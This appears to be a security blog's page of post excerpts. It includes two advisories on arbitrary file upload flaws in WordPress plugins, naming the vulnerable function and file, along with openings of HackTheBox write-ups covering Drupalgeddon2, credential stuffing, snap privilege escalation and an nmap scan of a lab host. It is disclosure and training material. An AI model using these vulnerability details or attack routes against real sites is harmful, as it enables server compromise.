CVE-2025-47549

The Ultimate Before After Image Slider & Gallery plugin does not sanitize the file types of the beaf_options_save action, allowing administrators or above to upload arbitrary files and potentially gain code execution on the server.

Details

The beaf_options_save action calls the beaf_save_options() function on line 227 of /wp-content/plugins/beaf-before-and-after-gallery/admin/tf-options/classes/BEAF_Settings.php without enforcing any file type validation.

CVE-2024-13869

The Migration, Backup, Staging – WPvivid Backup & Migration plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the upload_files function in all versions up to, and including, 0.9.112. This makes it possible for authenticated attackers, with Administrator-level access and above, to upload arbitrary files on the affected site’s server which may make remote code execution possible. NOTE: Uploaded files are only accessible on WordPress instances running on the NGINX web server as the existing .htaccess within the target file upload folder prevents access on Apache servers.

Around the time Def Con was happening this year I was sitting at home feeling left out. That made me feel hacky, but I don’t get the same joy from CTFs at the moment that I used to. So, I decided to start hunting for CVEs. That lead to finding CVE-2024-9162, which was just released today, along with the idea for a larger project that has resulted in a few more vulnerabilities yet to be disclosed.

Introduction

Armageddon is an Easy level box, and it was about as standard as standard can be. The initial foothold was straight a forward Drupal exploit, and the name of the box is a massive hint (Druppalgeddon2). After gaining the initial foothold, enumerating MySQL and credential stuffing gains us user privileges. All of this is pretty basic. The privilege escalation is achieved through snap, which was interesting to me since I’d never done this before. It was not difficult to identify or exploit though.

Introduction

Ophiuchi is a Medium box with a weird name to pronounce. The initial foothold was straight forward but fun, the user flag reminds us to go back to the basics, and the root flag is a difficult mind game for those of us that haven’t even been exposed to the technology.

Port Scan: nmapAutomator

We begin our reconnaissance by running nmapAutomator via sudo ./nmapAutomator.sh 10.10.10.227 All. Among many other things, this runs our port scans with increasing comprehensiveness.
